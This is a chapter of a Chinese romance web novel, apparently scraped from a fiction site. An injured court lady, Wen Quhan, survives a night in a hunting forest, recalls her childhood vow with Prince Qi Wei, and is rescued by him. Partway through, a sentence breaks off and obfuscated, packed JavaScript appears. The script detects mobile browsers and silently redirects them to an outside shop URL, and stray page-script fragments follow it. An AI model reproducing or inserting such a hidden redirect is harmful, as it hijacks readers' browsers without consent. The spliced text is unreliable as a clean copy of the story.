文趣网 > 其他小说 > 不思量(破镜重圆) > 14. 石榴
    暮色渐深,白日金碧开阔的树林眼下逐渐露出可怖的獠牙。

    枝叶交错,将最后一丝天光吞噬殆尽。

    温去寒为了躲避刺客,拐入了一片密林,她坠马时崴了脚,触发了旧疾,跑不远,只得寻到一处略有些陡峭的土坡后,借着地势掩护身形。

    夜风穿过林隙,带来远处隐隐约约的兽嚎。

    白日的围场是人潮涌动的皇家猎苑,到了晚上,则渐渐变成各种飞禽走兽的天下。

    温去寒蜷在泥坡后,听着密林深处窸窸窣窣的声响,分不清是风,还是什么活物。

    九公主该是安全回到大营,刺客也应是被禁军抓住。

    温去寒算着时间,估摸着眼下应该戌时了,救援的人到此刻还未出现,大概……没人会将一个女官的命放在心上。

    脚踝处传来裂骨般的疼痛,每呼吸一下,便随着脉搏一跳一跳地加剧。

    她低头看了一眼,肿得厉害,只是如今,也没有可以包扎的草药。

    夜晚的擎苍山,气温开始骤降,温去寒躲避刺客途中丢了外衣,此刻只着了单薄的衬袍,薄得挡不住一丝风。

    没带火折子,也没有骨哨……她只能尽量让自己陷进泥土中,借着大地的余温,以此来保存体温。

    意识开始模糊。

    风过处,一只夜鸟停在她身旁,歪头,好奇望了望她,随后又迅速飞入繁密的树林中,徒留几声怪异瘆人的鸣叫。

    水汽开始凝结。

    露水渗进衬袍,粘腻地黏在肌肤上,凉意一寸寸往骨头里钻。

    后背处传来一股蚂蚁攀爬的异痒,她略微动了下身子,想将虫子甩掉,岂料牵扯到脚踝的伤处,撕心裂肺的痛感让她不由得倒吸一口凉气。

    温去寒蜷缩在泥腔里,昏昏欲睡。

    恍惚间,她想起小时候。

    那年夏天,她和齐危在郊外的山庄避暑。

    两个人跑到后山玩捉迷藏,她不慎从假山上摔了下来。右腿被锐石划破,血流了好多好多,旧伤也便是在那时留下的。

    她抱着假山石大哭,也不知哭了多久,直到哭得嗓子都哑了。最后还是齐危找到了她,将她背了回去。

    后山鲜有人至,疏于打理,他背着她,深一脚浅一脚地走在并不好走的山路上。

    月色很浅,他走得很慢,却始终稳稳当当地托着她。

    一面走,还不忘侧头,安慰蜷在他背上瑟瑟发抖的她。

    那时他说:

    “幼鱼,以后若再有危险,你就喊‘石榴熟了’,我便来接你回家。”

    石榴熟了……

    后来,林家一夜之间被倾覆,她在歧州硝场受尽屈辱,险些命丧火海。

    西北的风吹得她骨头生冷。

    干娘屋外那棵石榴树从青葱碧玉,到果熟蒂落……

    石榴熟了一次又一次,她的家……却再也回不去了……

    “父亲……”

    “母亲……”

    “娘……”

    两行清泪滑过脸颊,洇入泥中。

    她还没来得及报仇雪恨,当真就要死在这荒凉的擎苍山了么……

    朦胧视线中,温去寒看见了素来清正,严慈并济的父亲和温柔敦厚的母亲,他们站在石榴树下,正冲她招手。

    母亲轻柔的声音响起,让她如沐春风,好似回到了儿时,还在母亲的臂弯里撒娇的时候:

    “幼鱼,你怎的一个人在那里?快过来,时候不早了,我们回家罢。”

    温去寒正要迈步,却听另一道悦耳的声音响起:

    “幼鱼,快来,到姑母这边来。”

    她眨了眨眼睛,再定睛望去,但见朱红色的石榴花瓣飘落,一身素华的林贵妃也立在双亲旁边,笑靥靥的冲她招手。

    姑母……

    温去寒艰难的抬了抬脚,却觉得脚下犹如千斤般笨重,似是灌了铅水,迈不开腿。

    “幼鱼。”

    又一道熟悉的声音在耳畔响起。

    她回眸,便见着了儿时的齐危。

    他穿着明黄色的王袍,仍旧像从前那般,满目温柔,笑得如春风般温润。

    “尚学的事,父皇已经答应我,等明年开春,咱们就能一同出入崇文阁,同太子哥哥一起,受业乔太傅门下。”

    世人皆知,太子齐珩,龙章凤姿,受业公门,三岁能文,四岁能武,五岁封太子,每日同乾元帝一同上朝,七岁与天竺高僧辩经,赢得高僧嘉叹,八岁一篇《天下同鉴》响彻天下。

    他是京都所有文人世子的心之所望。

    林幼鱼与齐危自是不甘落后。

    “待我学有所成,我要出征西域,把胡人赶出河西走廊!赶到远远的祁连山外!为大齐国打下大大的疆土!一眼望不到边的是大齐国的疆土,一眼望得到边的也是大齐国的疆土!”

    听得齐危一番豪言壮志,彼时尚年幼的林幼鱼眨眨眼睛,满脸期待,拍手赞道:

    “那太好啦!那我便要与太傅学经史之学,为这疆土继往圣之学,开天下太平!让所有的百姓都吃饱穿暖,不必忍饥挨饿!”

    齐危闻言,亦是叹赏,他上前两步,牵起林幼鱼的手:

    “好啊,你尚文,我便习武,来日咱们一文一武,一同保家卫国,为天下人计!”

    摇曳的石榴树下,少年少女笑得明朗,斗志昂扬,意气风发。

    只是。

    雕栏玉砌应犹在,不见当年少年郎。

    温去寒睫毛一颤,眸中尽是泪水。

    “一文一武……为天下人计!”

    如今的他们,一个成了改名换姓,隐忍为奴的丧家之犬;一个成了荒唐度日,疯疯癫癫的病痨子,哪里还有半点当年春风得意的模样!

    “呵……”

    一文一武……

    一文一武?

    她的身体极轻微的抖了抖,嘴角裂开一个凄凉的笑容,在月色的照耀下,犹如吃人的鬼魅。

    既然当年在歧州她没死,今日,也断不会折在这小小的擎苍山!

    一道暖流流过,却足矣燃起熊熊斗志。

    她得活下去。

    她得先捕食些什么,保存体力,活下去!

    想到这里,温去寒手肘撑地,颤抖的直起身子,艰难的在夜色下巡视了一圈。

    蓦地,一声清亮悠长的鸣叫划破了寂静的夜晚。

    温去寒定睛望去,但见前方不远处,迎着皎洁神圣的月光,一头贡鹿正对着她的方向吟叫。

    贡鹿体态轻盈,步踏清辉,站在一地霜华里,宛如一尊精心雕琢的玉

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17911754|213140||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    石,通透无暇。

    她的袖子里还藏着一把防身用的匕首。

    贡鹿迈着轻盈的步伐,正朝她靠近。

    六步。

    五步……

    温去寒暗暗数着贡鹿和她之间的距离,袖中的匕首蓄势待发。

    须臾,她与贡鹿之间只隔了一步之遥。

    月光下,贡鹿睁着一双浑圆如玉的眼睛望着她。

    湿润温顺的双眼犹如初生的婴孩,一片澄澈,不染一丝尘埃。

    袖中的匕首止不住的颤抖。

    温去寒攥紧拳头,指节微微发白,发出硌硌的响声,却终是不忍,松开了手中的刀刃。

    贡鹿睁着好奇的目光望了她好一会,最后用鹿角亲昵的蹭了蹭她的衣袖,随后便迈着轻盈的步伐离去。

    眼见贡鹿离去,温去寒舒了口气,她明白自己得再找些什么食物补充体力。

    打定注意,温去寒扶着树干想要站起身,却再次牵扯到右腿的伤处。

    她咬着牙,忍着剧烈的疼痛强迫自己站起来。

    耳畔风声猎猎,树枝颤颤。

    温去寒折了一根树枝作拐,艰难的往前走了两步。

    每走一步,右腿的伤处都胀痛欲裂。

    恰时一声鹿鸣响起,温去寒心中一惊,回眸望去,但见方才离去的贡鹿不知为何去而复返。

    她定定站住,但见贡鹿的嘴里衔着什么东西,在离她不远处放下,随后昂首向月,发出空灵悠远的鸣叫。

    鸣声过处,草木低首,百兽俯伏。

    鹿角应声而落。

    温去寒被这鸣声震了一荡。

    待回过神来,贡鹿早已蹦跳着远去。

    她拄着树枝,艰难的往贡鹿方才所在的地方挪步。

    只见一片的碧绿的芭蕉叶上,放了几颗石榴并一些其他的山中野果。

    真是奇了,这时节,竟还有石榴。

    一声嘶鸣划破长空。

    照夜忽的抬起前蹄,急刹停住,扬起一片尘土。

    齐危找到温去寒时,便见她席地而坐,正捧着山间的野果充饥。

    倒不算太蠢。

    温去寒闻见马蹄声,一转头,便见着齐危居高临下,睥睨的看着自己。

    他停在高处,单手勒马,一袭明黄色的锦绣华服在月光下发出朦胧的光晕。

    晚风拂过,吹得他衣袂猎猎。

    温去寒瞧见他衣角沾了些枯叶烂草,还有尘土,可见是骑了许久。

    “殿下。”

    她俯身行礼。

    齐危骑着照夜从高处一跃而下,停在她跟前儿。

    照夜趁机亲昵的蹭了蹭温去寒的肩膀。

    齐危挑眉,冷声道:“本王的照夜,似乎很喜欢你。”

    温去寒一面轻轻抚着照夜的前额,一面轻声道:

    “许是殿下的神驹有灵性,知道臣危在旦夕,不忍臣就这样殒命,所以特地来寻臣。”

    齐危闻言,瘦削的下巴微微一抬,琥珀色的眼眸此刻在月光的照耀下显得晦暗淡漠,让人猜不出眼底的情绪。

    瞥见她姿势略有些怪异的右腿。

    “还能骑马么。”

    温去寒点点头。

    齐危朝她伸出一只手:

    “上来。”